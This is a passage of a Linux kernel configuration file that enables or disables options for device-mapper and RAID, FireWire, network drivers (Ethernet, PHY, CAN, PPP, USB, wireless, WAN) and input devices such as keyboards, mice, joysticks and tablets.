CONFIG_BLK_DEV_MD=y
CONFIG_MD_BITMAP=y
# CONFIG_MD_LLBITMAP is not set
CONFIG_MD_AUTODETECT=y
CONFIG_MD_BITMAP_FILE=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
# CONFIG_MD_CLUSTER is not set
CONFIG_BCACHE=y
# CONFIG_BCACHE_DEBUG is not set
# CONFIG_BCACHE_ASYNC_REGISTRATION is not set
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_BUFIO=y
# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set
CONFIG_DM_BIO_PRISON=y
CONFIG_DM_PERSISTENT_DATA=y
# CONFIG_DM_UNSTRIPED is not set
CONFIG_DM_CRYPT=y
# CONFIG_DM_INLINECRYPT is not set
CONFIG_DM_SNAPSHOT=y
CONFIG_DM_THIN_PROVISIONING=y
CONFIG_DM_CACHE=y
CONFIG_DM_CACHE_SMQ=y
CONFIG_DM_WRITECACHE=y
# CONFIG_DM_EBS is not set
# CONFIG_DM_ERA is not set
CONFIG_DM_CLONE=y
CONFIG_DM_MIRROR=y
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_RAID=y
CONFIG_DM_ZERO=y
CONFIG_DM_MULTIPATH=y
CONFIG_DM_MULTIPATH_QL=y
CONFIG_DM_MULTIPATH_ST=y
# CONFIG_DM_MULTIPATH_HST is not set
# CONFIG_DM_MULTIPATH_IOA is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_DUST is not set
# CONFIG_DM_INIT is not set
CONFIG_DM_UEVENT=y
CONFIG_DM_FLAKEY=y
CONFIG_DM_VERITY=y
# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set
CONFIG_DM_VERITY_FEC=y
# CONFIG_DM_SWITCH is not set
# CONFIG_DM_LOG_WRITES is not set
CONFIG_DM_INTEGRITY=y
CONFIG_DM_ZONED=y
CONFIG_DM_AUDIT=y
# CONFIG_DM_VDO is not set
# CONFIG_DM_PCACHE is not set
CONFIG_TARGET_CORE=y
# CONFIG_TCM_IBLOCK is not set
# CONFIG_TCM_FILEIO is not set
# CONFIG_TCM_PSCSI is not set
# CONFIG_LOOPBACK_TARGET is not set
# CONFIG_ISCSI_TARGET is not set
# CONFIG_SBP_TARGET is not set
# CONFIG_REMOTE_TARGET is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
CONFIG_FIREWIRE=y
CONFIG_FIREWIRE_OHCI=y
CONFIG_FIREWIRE_SBP2=y
CONFIG_FIREWIRE_NET=y
# CONFIG_FIREWIRE_NOSY is not set
# end of IEEE 1394 (FireWire) support

# CONFIG_MACINTOSH_DRIVERS is not set
CONFIG_NETDEVICES=y
CONFIG_MII=y
CONFIG_NET_CORE=y
CONFIG_BONDING=y
CONFIG_DUMMY=y
CONFIG_WIREGUARD=y
# CONFIG_WIREGUARD_DEBUG is not set
# CONFIG_OVPN is not set
CONFIG_EQUALIZER=y
CONFIG_NET_FC=y
CONFIG_IFB=y
CONFIG_NET_TEAM=y
CONFIG_NET_TEAM_MODE_BROADCAST=y
CONFIG_NET_TEAM_MODE_ROUNDROBIN=y
CONFIG_NET_TEAM_MODE_RANDOM=y
CONFIG_NET_TEAM_MODE_ACTIVEBACKUP=y
CONFIG_NET_TEAM_MODE_LOADBALANCE=y
CONFIG_MACVLAN=y
CONFIG_MACVTAP=y
CONFIG_IPVLAN_L3S=y
CONFIG_IPVLAN=y
CONFIG_IPVTAP=y
CONFIG_VXLAN=y
CONFIG_GENEVE=y
CONFIG_BAREUDP=y
CONFIG_GTP=y
# CONFIG_PFCP is not set
# CONFIG_AMT is not set
CONFIG_MACSEC=y
CONFIG_NETCONSOLE=y
# CONFIG_NETCONSOLE_DYNAMIC is not set
# CONFIG_NETCONSOLE_EXTENDED_LOG is not set
CONFIG_NETPOLL=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
CONFIG_TAP=y
CONFIG_TUN_VNET_CROSS_LE=y
CONFIG_VETH=y
CONFIG_VIRTIO_NET=y
CONFIG_NLMON=y
# CONFIG_NETKIT is not set
CONFIG_NET_VRF=y
CONFIG_VSOCKMON=y
# CONFIG_MHI_NET is not set
# CONFIG_ARCNET is not set
CONFIG_ATM_DRIVERS=y
# CONFIG_ATM_SOLOS is not set

#
# Distributed Switch Architecture drivers
#
# CONFIG_B53 is not set
# CONFIG_NET_DSA_BCM_SF2 is not set
# CONFIG_NET_DSA_LOOP is not set
# CONFIG_NET_DSA_HIRSCHMANN_HELLCREEK is not set
# CONFIG_NET_DSA_LANTIQ_GSWIP is not set
# CONFIG_NET_DSA_MXL_GSW1XX is not set
# CONFIG_NET_DSA_MT7530 is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON is not set
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MXL862 is not set
# CONFIG_NET_DSA_AR9331 is not set
# CONFIG_NET_DSA_QCA8K is not set
# CONFIG_NET_DSA_SJA1105 is not set
# CONFIG_NET_DSA_XRS700X_I2C is not set
# CONFIG_NET_DSA_XRS700X_MDIO is not set
# CONFIG_NET_DSA_REALTEK is not set
# CONFIG_NET_DSA_KS8995 is not set
# CONFIG_NET_DSA_SMSC_LAN9303_I2C is not set
# CONFIG_NET_DSA_SMSC_LAN9303_MDIO is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_SPI is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_PLATFORM is not set
# CONFIG_NET_DSA_YT921X is not set
# end of Distributed Switch Architecture drivers

CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
CONFIG_NET_VENDOR_ALIBABA=y
# CONFIG_ALIBABA_EEA is not set
# CONFIG_ALTERA_TSE is not set
CONFIG_NET_VENDOR_AMAZON=y
# CONFIG_ENA_ETHERNET is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
CONFIG_NET_VENDOR_ASIX=y
# CONFIG_SPI_AX88796C is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_CX_ECAT is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_CADENCE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
CONFIG_NET_VENDOR_CISCO=y
# CONFIG_ENIC is not set
# CONFIG_NET_VENDOR_CORTINA is not set
CONFIG_NET_VENDOR_DAVICOM=y
# CONFIG_DM9051 is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
CONFIG_NET_VENDOR_ENGLEDER=y
# CONFIG_TSNEP is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
CONFIG_NET_VENDOR_FUNGIBLE=y
# CONFIG_FUN_ETH is not set
CONFIG_NET_VENDOR_GOOGLE=y
CONFIG_GVE=y
CONFIG_NET_VENDOR_HISILICON=y
# CONFIG_HIBMCGE is not set
# CONFIG_NET_VENDOR_HUAWEI is not set
CONFIG_NET_VENDOR_I825XX=y
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E100=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_E1000E_HWTS=y
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGBE is not set
# CONFIG_IXGBEVF is not set
# CONFIG_I40E is not set
# CONFIG_I40EVF is not set
# CONFIG_ICE is not set
# CONFIG_FM10K is not set
# CONFIG_IGC is not set
# CONFIG_IDPF is not set
# CONFIG_IXD is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_ADI is not set
CONFIG_NET_VENDOR_LITEX=y
# CONFIG_LITEX_LITEETH is not set
# CONFIG_NET_VENDOR_MARVELL is not set
CONFIG_NET_VENDOR_MELLANOX=y
# CONFIG_MLX4_EN is not set
CONFIG_MLX4_CORE=y
# CONFIG_MLX4_DEBUG is not set
# CONFIG_MLX4_CORE_GEN2 is not set
# CONFIG_MLX5_CORE is not set
# CONFIG_MLXSW_CORE is not set
# CONFIG_MLXFW is not set
CONFIG_NET_VENDOR_META=y
# CONFIG_FBNIC is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MICROCHIP is not set
# CONFIG_NET_VENDOR_MICROSEMI is not set
CONFIG_NET_VENDOR_MICROSOFT=y
CONFIG_NET_VENDOR_MUCSE=y
# CONFIG_MGBE is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_PENSANDO is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_SOCIONEXT is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
CONFIG_NET_VENDOR_VERTEXCOM=y
# CONFIG_MSE102X is not set
# CONFIG_NET_VENDOR_VIA is not set
CONFIG_NET_VENDOR_WANGXUN=y
# CONFIG_NGBE is not set
# CONFIG_TXGBE is not set
# CONFIG_TXGBEVF is not set
# CONFIG_NGBEVF is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_XILINX is not set
# CONFIG_NET_VENDOR_XIRCOM is not set
CONFIG_NET_VENDOR_ZTE=y
# CONFIG_DINGHAI is not set
CONFIG_FDDI=y
# CONFIG_DEFXX is not set
# CONFIG_SKFP is not set
CONFIG_PHYLINK=y
CONFIG_PHYLIB=y
CONFIG_SWPHY=y
CONFIG_PHY_PACKAGE=y
# CONFIG_LED_TRIGGER_PHY is not set
CONFIG_PHYLIB_LEDS=y
CONFIG_FIXED_PHY=y
# CONFIG_SFP is not set

#
# MII PHY device drivers
#
# CONFIG_AS21XXX_PHY is not set
# CONFIG_AIR_AN8801_PHY is not set
# CONFIG_AIR_EN8811H_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_ADIN_PHY is not set
# CONFIG_ADIN1100_PHY is not set
# CONFIG_ADIN1140_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
CONFIG_AX88796B_PHY=y
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM54140_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM84881_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_CORTINA_PHY is not set
# CONFIG_DAP8211R_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MARVELL_10G_PHY is not set
# CONFIG_MARVELL_88Q2XXX_PHY is not set
# CONFIG_MARVELL_88X2222_PHY is not set
# CONFIG_MAXLINEAR_GPHY is not set
# CONFIG_MAXLINEAR_86110_PHY is not set
# CONFIG_MEDIATEK_GE_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_T1S_PHY is not set
CONFIG_MICROCHIP_PHY=y
# CONFIG_MICROCHIP_T1_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_MOTORCOMM_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_NXP_CBTX_PHY is not set
# CONFIG_NXP_C45_TJA11XX_PHY is not set
# CONFIG_NXP_TJA11XX_PHY is not set
# CONFIG_NCN26000_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_QCA83XX_PHY is not set
# CONFIG_QCA808X_PHY is not set
# CONFIG_QCA807X_PHY is not set
# CONFIG_QSEMI_PHY is not set
CONFIG_REALTEK_PHY=y
# CONFIG_REALTEK_PHY_HWMON is not set
# CONFIG_RENESAS_PHY is not set
# CONFIG_ROCKCHIP_PHY is not set
CONFIG_SMSC_PHY=y
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_DP83822_PHY is not set
# CONFIG_DP83TC811_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_DP83869_PHY is not set
# CONFIG_DP83TD510_PHY is not set
# CONFIG_DP83TG720_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PSE_CONTROLLER is not set
CONFIG_CAN_DEV=y
CONFIG_CAN_VCAN=y
CONFIG_CAN_VXCAN=y
CONFIG_CAN_NETLINK=y
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_RX_OFFLOAD=y
# CONFIG_CAN_CAN327 is not set
# CONFIG_CAN_DUMMY is not set
# CONFIG_CAN_FLEXCAN is not set
# CONFIG_CAN_GRCAN is not set
# CONFIG_CAN_KVASER_PCIEFD is not set
CONFIG_CAN_SLCAN=y
# CONFIG_CAN_VIRTIO_CAN is not set
# CONFIG_CAN_C_CAN is not set
# CONFIG_CAN_CC770 is not set
# CONFIG_CAN_CTUCANFD_PCI is not set
# CONFIG_CAN_CTUCANFD_PLATFORM is not set
# CONFIG_CAN_ESD_402_PCI is not set
CONFIG_CAN_IFI_CANFD=y
# CONFIG_CAN_M_CAN is not set
# CONFIG_CAN_PEAK_PCIEFD is not set
# CONFIG_CAN_SJA1000 is not set
# CONFIG_CAN_SOFTING is not set

#
# CAN SPI interfaces
#
# CONFIG_CAN_HI311X is not set
# CONFIG_CAN_MCP251X is not set
# CONFIG_CAN_MCP251XFD is not set
# end of CAN SPI interfaces

#
# CAN USB interfaces
#
CONFIG_CAN_8DEV_USB=y
CONFIG_CAN_EMS_USB=y
CONFIG_CAN_ESD_USB=y
CONFIG_CAN_ETAS_ES58X=y
CONFIG_CAN_F81604=y
CONFIG_CAN_GS_USB=y
CONFIG_CAN_KVASER_USB=y
CONFIG_CAN_MCBA_USB=y
CONFIG_CAN_PEAK_USB=y
CONFIG_CAN_UCAN=y
# end of CAN USB interfaces

# CONFIG_CAN_DEBUG_DEVICES is not set

#
# MCTP Device Drivers
#
# CONFIG_MCTP_SERIAL is not set
# CONFIG_MCTP_TRANSPORT_I2C is not set
# CONFIG_MCTP_TRANSPORT_USBLIB is not set
# CONFIG_MCTP_TRANSPORT_USB is not set
# end of MCTP Device Drivers

#
# MDIO controller drivers
#
CONFIG_FWNODE_MDIO=y
CONFIG_OF_MDIO=y
CONFIG_ACPI_MDIO=y
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_BCM_UNIMAC is not set
# CONFIG_MDIO_HISI_FEMAC is not set
CONFIG_MDIO_MVUSB=y
# CONFIG_MDIO_MSCC_MIIM is not set
# CONFIG_MDIO_OCTEON is not set
# CONFIG_MDIO_IPQ4019 is not set
# CONFIG_MDIO_IPQ8064 is not set
# CONFIG_MDIO_THUNDER is not set

#
# MDIO Multiplexers
#
# CONFIG_MDIO_BUS_MUX_GPIO is not set
# CONFIG_MDIO_BUS_MUX_MULTIPLEXER is not set
# CONFIG_MDIO_BUS_MUX_MMIOREG is not set
# end of MDIO Multiplexers
# end of MDIO controller drivers

#
# PCS device drivers
#
# CONFIG_PCS_XPCS is not set
# end of PCS device drivers

# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_BSDCOMP=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_MPPE=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOATM=y
CONFIG_PPPOX=y
CONFIG_PPPOE=y
CONFIG_PPPOE_HASH_BITS_1=y
# CONFIG_PPPOE_HASH_BITS_2 is not set
# CONFIG_PPPOE_HASH_BITS_4 is not set
# CONFIG_PPPOE_HASH_BITS_8 is not set
CONFIG_PPPOE_HASH_BITS=1
CONFIG_PPTP=y
CONFIG_PPPOL2TP=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_SLIP=y
CONFIG_SLHC=y
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_USB_NET_DRIVERS=y
CONFIG_USB_CATC=y
CONFIG_USB_KAWETH=y
CONFIG_USB_PEGASUS=y
CONFIG_USB_RTL8150=y
CONFIG_USB_RTL8152=y
CONFIG_USB_LAN78XX=y
CONFIG_USB_USBNET=y
CONFIG_USB_NET_AX8817X=y
CONFIG_USB_NET_AX88179_178A=y
CONFIG_USB_NET_CDCETHER=y
CONFIG_USB_NET_CDC_EEM=y
CONFIG_USB_NET_CDC_NCM=y
CONFIG_USB_NET_HUAWEI_CDC_NCM=y
CONFIG_USB_NET_CDC_MBIM=y
CONFIG_USB_NET_DM9601=y
CONFIG_USB_NET_SR9700=y
CONFIG_USB_NET_SR9800=y
CONFIG_USB_NET_SMSC75XX=y
CONFIG_USB_NET_SMSC95XX=y
CONFIG_USB_NET_GL620A=y
CONFIG_USB_NET_NET1080=y
CONFIG_USB_NET_PLUSB=y
CONFIG_USB_NET_MCS7830=y
CONFIG_USB_NET_RNDIS_HOST=y
CONFIG_USB_NET_CDC_SUBSET_ENABLE=y
CONFIG_USB_NET_CDC_SUBSET=y
CONFIG_USB_ALI_M5632=y
CONFIG_USB_AN2720=y
CONFIG_USB_BELKIN=y
CONFIG_USB_ARMLINUX=y
CONFIG_USB_EPSON2888=y
CONFIG_USB_KC2190=y
CONFIG_USB_NET_ZAURUS=y
CONFIG_USB_NET_CX82310_ETH=y
CONFIG_USB_NET_KALMIA=y
CONFIG_USB_NET_QMI_WWAN=y
CONFIG_USB_HSO=y
CONFIG_USB_NET_INT51X1=y
CONFIG_USB_CDC_PHONET=y
CONFIG_USB_IPHETH=y
CONFIG_USB_SIERRA_NET=y
CONFIG_USB_VL600=y
CONFIG_USB_NET_CH9200=y
CONFIG_USB_NET_AQC111=y
CONFIG_USB_RTL8153_ECM=y
CONFIG_WLAN=y
CONFIG_WLAN_VENDOR_ADMTEK=y
# CONFIG_ADM8211 is not set
CONFIG_ATH_COMMON=y
CONFIG_WLAN_VENDOR_ATH=y
# CONFIG_ATH_DEBUG is not set
# CONFIG_ATH5K is not set
# CONFIG_ATH5K_PCI is not set
CONFIG_ATH9K_HW=y
CONFIG_ATH9K_COMMON=y
CONFIG_ATH9K_COMMON_DEBUG=y
CONFIG_ATH9K_BTCOEX_SUPPORT=y
CONFIG_ATH9K=y
CONFIG_ATH9K_PCI=y
CONFIG_ATH9K_AHB=y
CONFIG_ATH9K_DEBUGFS=y
# CONFIG_ATH9K_STATION_STATISTICS is not set
CONFIG_ATH9K_DYNACK=y
# CONFIG_ATH9K_WOW is not set
CONFIG_ATH9K_RFKILL=y
CONFIG_ATH9K_CHANNEL_CONTEXT=y
CONFIG_ATH9K_PCOEM=y
# CONFIG_ATH9K_PCI_NO_EEPROM is not set
CONFIG_ATH9K_HTC=y
CONFIG_ATH9K_HTC_DEBUGFS=y
# CONFIG_ATH9K_HWRNG is not set
CONFIG_ATH9K_COMMON_SPECTRAL=y
CONFIG_CARL9170=y
CONFIG_CARL9170_LEDS=y
# CONFIG_CARL9170_DEBUGFS is not set
CONFIG_CARL9170_WPC=y
CONFIG_CARL9170_HWRNG=y
CONFIG_ATH6KL=y
# CONFIG_ATH6KL_SDIO is not set
CONFIG_ATH6KL_USB=y
# CONFIG_ATH6KL_DEBUG is not set
# CONFIG_ATH6KL_TRACING is not set
CONFIG_AR5523=y
# CONFIG_WIL6210 is not set
CONFIG_ATH10K=y
CONFIG_ATH10K_CE=y
CONFIG_ATH10K_PCI=y
# CONFIG_ATH10K_AHB is not set
# CONFIG_ATH10K_SDIO is not set
CONFIG_ATH10K_USB=y
# CONFIG_ATH10K_DEBUG is not set
# CONFIG_ATH10K_DEBUGFS is not set
CONFIG_ATH10K_LEDS=y
# CONFIG_ATH10K_TRACING is not set
# CONFIG_WCN36XX is not set
CONFIG_ATH11K=y
# CONFIG_ATH11K_PCI is not set
# CONFIG_ATH11K_DEBUG is not set
# CONFIG_ATH11K_DEBUGFS is not set
# CONFIG_ATH11K_TRACING is not set
# CONFIG_ATH12K is not set
# CONFIG_WLAN_VENDOR_ATMEL is not set
# CONFIG_WLAN_VENDOR_BROADCOM is not set
# CONFIG_WLAN_VENDOR_INTEL is not set
# CONFIG_WLAN_VENDOR_INTERSIL is not set
# CONFIG_WLAN_VENDOR_MARVELL is not set
# CONFIG_WLAN_VENDOR_MEDIATEK is not set
# CONFIG_WLAN_VENDOR_MICROCHIP is not set
CONFIG_WLAN_VENDOR_MORSEMICRO=y
# CONFIG_MM81X_USB is not set
# CONFIG_MM81X_SDIO is not set
CONFIG_WLAN_VENDOR_NXP=y
# CONFIG_NXPWIFI_SDIO is not set
CONFIG_WLAN_VENDOR_PURELIFI=y
CONFIG_PLFXLC=y
# CONFIG_WLAN_VENDOR_RALINK is not set
# CONFIG_WLAN_VENDOR_REALTEK is not set
# CONFIG_WLAN_VENDOR_RSI is not set
CONFIG_WLAN_VENDOR_SILABS=y
# CONFIG_WFX is not set
# CONFIG_WLAN_VENDOR_ST is not set
# CONFIG_WLAN_VENDOR_TI is not set
# CONFIG_WLAN_VENDOR_ZYDAS is not set
# CONFIG_WLAN_VENDOR_QUANTENNA is not set
CONFIG_MAC80211_HWSIM=y
CONFIG_VIRT_WIFI=y
CONFIG_WAN=y
CONFIG_HDLC=y
CONFIG_HDLC_RAW=y
CONFIG_HDLC_RAW_ETH=y
CONFIG_HDLC_CISCO=y
CONFIG_HDLC_FR=y
CONFIG_HDLC_PPP=y
CONFIG_HDLC_X25=y
# CONFIG_FRAMER is not set
# CONFIG_PCI200SYN is not set
# CONFIG_WANXL is not set
# CONFIG_PC300TOO is not set
# CONFIG_FARSYNC is not set
CONFIG_LAPBETHER=y
CONFIG_IEEE802154_DRIVERS=y
# CONFIG_IEEE802154_FAKELB is not set
# CONFIG_IEEE802154_AT86RF230 is not set
# CONFIG_IEEE802154_MRF24J40 is not set
# CONFIG_IEEE802154_CC2520 is not set
CONFIG_IEEE802154_ATUSB=y
# CONFIG_IEEE802154_ADF7242 is not set
# CONFIG_IEEE802154_CA8210 is not set
# CONFIG_IEEE802154_MCR20A is not set
CONFIG_IEEE802154_HWSIM=y

#
# Wireless WAN
#
CONFIG_WWAN=y
# CONFIG_WWAN_DEBUGFS is not set
# CONFIG_WWAN_HWSIM is not set
CONFIG_MHI_WWAN_CTRL=y
# CONFIG_MHI_WWAN_MBIM is not set
# CONFIG_IOSM is not set
# CONFIG_MTK_T7XX is not set
# end of Wireless WAN

CONFIG_VMXNET3=y
# CONFIG_FUJITSU_ES is not set
CONFIG_USB4_NET=y
CONFIG_NETDEVSIM=y
CONFIG_NET_FAILOVER=y

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_LEDS=y
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_SPARSEKMAP=y
# CONFIG_INPUT_MATRIXKMAP is not set
CONFIG_INPUT_VIVALDIFMAP=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADC is not set
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_QT1050 is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_DLINK_DIR685 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_GPIO is not set
# CONFIG_KEYBOARD_GPIO_POLLED is not set
# CONFIG_KEYBOARD_TCA8418 is not set
# CONFIG_KEYBOARD_MATRIX is not set
# CONFIG_KEYBOARD_CHARLIEPLEX is not set
# CONFIG_KEYBOARD_LM8323 is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_PINEPHONE is not set
# CONFIG_KEYBOARD_SAMSUNG is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_OMAP4 is not set
# CONFIG_KEYBOARD_TM2_TOUCHKEY is not set
# CONFIG_KEYBOARD_TWL4030 is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_CAP11XX is not set
# CONFIG_KEYBOARD_BCM is not set
# CONFIG_KEYBOARD_CYPRESS_SF is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_PS2_VMMOUSE is not set
CONFIG_MOUSE_PS2_SMBUS=y
# CONFIG_MOUSE_SERIAL is not set
CONFIG_MOUSE_APPLETOUCH=y
CONFIG_MOUSE_BCM5974=y
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_ELAN_I2C is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_GPIO is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
CONFIG_MOUSE_SYNAPTICS_USB=y
CONFIG_INPUT_JOYSTICK=y
# CONFIG_JOYSTICK_ANALOG is not set
# CONFIG_JOYSTICK_A3D is not set
# CONFIG_JOYSTICK_ADC is not set
# CONFIG_JOYSTICK_ADI is not set
# CONFIG_JOYSTICK_COBRA is not set
# CONFIG_JOYSTICK_GF2K is not set
# CONFIG_JOYSTICK_GRIP is not set
# CONFIG_JOYSTICK_GRIP_MP is not set
# CONFIG_JOYSTICK_GUILLEMOT is not set
# CONFIG_JOYSTICK_INTERACT is not set
# CONFIG_JOYSTICK_SIDEWINDER is not set
# CONFIG_JOYSTICK_TMDC is not set
CONFIG_JOYSTICK_IFORCE=y
CONFIG_JOYSTICK_IFORCE_USB=y
# CONFIG_JOYSTICK_IFORCE_232 is not set
# CONFIG_JOYSTICK_WARRIOR is not set
# CONFIG_JOYSTICK_MAGELLAN is not set
# CONFIG_JOYSTICK_SPACEORB is not set
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDJOY is not set
# CONFIG_JOYSTICK_ZHENHUA is not set
# CONFIG_JOYSTICK_DB9 is not set
# CONFIG_JOYSTICK_GAMECON is not set
# CONFIG_JOYSTICK_TURBOGRAFX is not set
# CONFIG_JOYSTICK_AS5011 is not set
# CONFIG_JOYSTICK_JOYDUMP is not set
CONFIG_JOYSTICK_XPAD=y
CONFIG_JOYSTICK_XPAD_FF=y
CONFIG_JOYSTICK_XPAD_LEDS=y
# CONFIG_JOYSTICK_WALKERA0701 is not set
# CONFIG_JOYSTICK_PSXPAD_SPI is not set
CONFIG_JOYSTICK_PXRC=y
# CONFIG_JOYSTICK_QWIIC is not set
# CONFIG_JOYSTICK_FSIA6B is not set
# CONFIG_JOYSTICK_SENSEHAT is not set
# CONFIG_JOYSTICK_SEESAW is not set
CONFIG_INPUT_TABLET=y
CONFIG_TABLET_USB_ACECAD=y
CONFIG_TABLET_USB_AIPTEK=y
CONFIG_TABLET_USB_HANWANG=y
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_PEGASUS=y
# CONFIG_TABLET_SERIAL_WACOM4 is not set
